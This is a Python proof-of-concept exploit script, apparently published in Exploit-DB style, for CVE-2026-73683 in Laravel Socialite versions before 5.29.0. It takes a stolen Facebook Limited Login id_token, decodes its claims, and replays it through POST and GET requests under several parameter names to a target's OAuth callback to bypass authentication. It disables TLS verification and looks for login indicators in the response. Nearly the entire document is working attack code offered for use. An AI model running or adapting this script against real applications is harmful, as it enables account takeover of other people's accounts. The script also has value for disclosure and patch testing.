#!/usr/bin/env python3
# Exploit Title: Laravel Socialite < 5.29.0 - Facebook OIDC Nonce Replay Authentication Bypass
# CVE: CVE-2026-73683
# Date: 2026-08-15
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://github.com/laravel/socialite
# Software Link: https://github.com/laravel/socialite
# Affected: Laravel Socialite < 5.29.0
# Tested on: Linux
# Category: WebApps
# Platform: PHP
# Exploit Type: Remote
# CVSS: 9.2 (Critical)
# CWE: CWE-294
# Description: Laravel Socialite Facebook provider does not validate the nonce claim on Limited Login OIDC id_tokens. An attacker who obtains a valid, unexpired id_token for the same Facebook App ID can replay it via userFromToken() and gain unauthorized access to the victim account.
# Fixed in: 5.29.0 (commit caf714f)
# Usage:
# python3 exploit.py <target_url> <stolen_id_token>
#
# Example:
# python3 exploit.py https://target.com/auth/facebook/callback eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...
import requests
import sys
import json
import base64
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def banner():
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║
║ ▐█ ▀█▪ ▀▄.▀· ▐█ ▀ ▪ •██ ▪ ▀▄ █· ▐█ ▀█ ▐█ ▄█ •██ ▀▀▄.▀· ▀▄ █· █▪██▌ ║
║ ▐█▀▀█▄ ▐▀▀▪▄ ▄█ ▀█▄ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪ ▐▀▀▪▄ ▐▀▀▄ █▌▐█· ║
║ ██▄▪▐█ ▐█▄▄▌ ▐█▄▪▐█ ▐█▌· ▐█▌.▐▌ ▐█•█▌ ▐█ ▪▐▌ ▐█▪·• ▐█▌· ▐█▄▄▌ ▐█•█▌ ▐█▄█▌ ║
║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪ .▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║
║ ║
║ b a n y a m e r _ s e c u r i t y ║
║ ║
║ >>> Silent Hunter • Shadow Presence <<< ║
║ ║
║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ CVE-2026-73683 • Laravel Socialite → Facebook Nonce Replay Auth Bypass ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
def decode_jwt_payload(token):
try:
parts = token.split('.')
if len(parts) != 3:
return None
payload = parts[1]
payload += '=' * (-len(payload) % 4)
decoded = base64.urlsafe_b64decode(payload)
return json.loads(decoded)
except Exception:
return None
def exploit(target_url, id_token):
target_url = target_url.rstrip('/')
print(f"[*] Target : {target_url}")
print(f"[*] Stolen id_token : {id_token[:50]}...")
payload = decode_jwt_payload(id_token)
if payload:
print("\n[*] Decoded token claims:")
print(f" iss : {payload.get('iss')}")
print(f" aud : {payload.get('aud')}")
print(f" sub : {payload.get('sub')}")
print(f" email : {payload.get('email')}")
print(f" nonce : {payload.get('nonce', 'NOT PRESENT')}")
print(f" exp : {payload.get('exp')}")
else:
print("[-] Failed to decode JWT payload (token may be invalid)")
print("\n[*] Attempting to replay the token (no nonce supplied)...")
# Common patterns used by applications that call userFromToken()
# Adjust the endpoint / parameter name according to the target application
data = {
"access_token": id_token, # some apps use this
"token": id_token, # others use this
"id_token": id_token, # Limited Login style
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "application/json, text/html",
"Content-Type": "application/x-www-form-urlencoded",
}
try:
# Try POST first
r = requests.post(target_url, data=data, headers=headers, timeout=12, verify=False, allow_redirects=True)
print(f"[*] POST → HTTP {r.status_code}")
print(f"[*] Response length: {len(r.text)} bytes")
if r.status_code in (200, 302) and ("user" in r.text.lower() or "dashboard" in r.text.lower() or "welcome" in r.text.lower() or r.history):
print("[+] Possible successful authentication bypass (check session / response)")
else:
print("[-] No clear success indicator. Target may require different parameter or endpoint.")
# Also try GET (some implementations accept token in query)
r2 = requests.get(target_url, params={"token": id_token}, headers=headers, timeout=12, verify=False, allow_redirects=True)
print(f"[*] GET → HTTP {r2.status_code}")
except Exception as e:
print(f"[-] Request failed: {e}")
print("\n[!] Note:")
print(" This PoC demonstrates the replay. Full success depends on the target")
print(" application calling Socialite::driver('facebook')->userFromToken()")
print(" without supplying / validating the expected nonce.")
print(" Before Socialite 5.29.0 the token is accepted → account takeover.")
if __name__ == "__main__":
banner()
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <target_url> <stolen_facebook_id_token>")
print("Example:")
print(f" {sys.argv[0]} https://vulnerable-app.com/auth/facebook/callback eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...")
sys.exit(1)
target = sys.argv[1]
token = sys.argv[2]
exploit(target, token)
